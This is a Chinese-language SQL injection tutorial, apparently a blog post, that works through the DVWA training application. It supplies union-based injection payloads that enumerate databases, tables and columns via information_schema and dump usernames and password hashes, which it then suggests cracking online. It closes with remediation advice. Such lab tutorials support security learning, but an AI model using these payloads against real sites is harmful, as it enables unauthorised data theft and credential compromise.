注*本篇內(nèi)容大部分參考SQL注入基本原理的學(xué)習(xí)
SQL注入原理:
攻擊者通過把SQL命令插入到Web表單提交或者輸入域名或者頁面查詢,最終達到欺騙服務(wù)器執(zhí)行惡意的SQL命令。
SQL注入實例:猜解數(shù)據(jù)庫
1.輸入2之后點擊submit,然后點擊右下角View Source查看源代碼
實際執(zhí)行的SQL就是下面這行
select first_name,last_name from users where user_id=‘1’;
2.輸入1’ order by 1#,實際執(zhí)行的是下面的內(nèi)容,意思是查詢user_id=1的數(shù)據(jù),根據(jù)第一列數(shù)據(jù)排序
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;
(按照Mysql語法,#后面會被注釋掉,使用這種方法屏蔽掉后面的單引號,避免語法錯誤)
3.輸入1' order by 1#和1' order by 2#時都可以正常返回,輸入1' order by 3#時會報錯,說明該表只有2列數(shù)據(jù)



4.使用union select聯(lián)合查詢數(shù)據(jù)庫,需要注意在使用union查詢的時候需要和主查詢的列數(shù)相同,而我們已經(jīng)知道之前主查詢列數(shù)為2,所以查詢列數(shù)需要2列,現(xiàn)在輸入
1’ union select database(),user()#進行查詢
- database()為返回的數(shù)據(jù)庫名
-
user()為返回的執(zhí)行當(dāng)前操作的用戶名
圖片發(fā)自簡書App
5.接下來再嘗試獲取數(shù)據(jù)庫dvwa中的表名:
information_schema是 mysql 自帶的一張表,這張數(shù)據(jù)表保存了 Mysql 服務(wù)器所有數(shù)據(jù)庫的信息,如數(shù)據(jù)庫名,數(shù)據(jù)庫的表,表欄的數(shù)據(jù)類型與訪問權(quán)限等。該數(shù)據(jù)庫擁有一個名為 tables 的數(shù)據(jù)表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數(shù)據(jù)庫。
我們輸入
1’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’#

通過查詢結(jié)果可知:
- dvwa有2個表,guestbook和users
6.接下來我們再繼續(xù)嘗試獲取表中的字段,輸入
1’ union select 5,column_name from information_schema.columns where table_name=‘users’#

通過查詢結(jié)果可知:
- users表中包含2個字段,user和password
7.我們查詢users表里的的用戶名和密碼數(shù)據(jù),輸入
1’ union select user,password from users#

根據(jù)查詢結(jié)果,我們可以看到所有的用戶名和密碼,密碼是采用md5解密的,可以到www.cmd5.com進行解密。

修復(fù)建議:
1.嚴格限制參數(shù)類型
2.過濾/轉(zhuǎn)義敏感字符和關(guān)鍵字
3.使用參數(shù)化查詢/預(yù)編譯
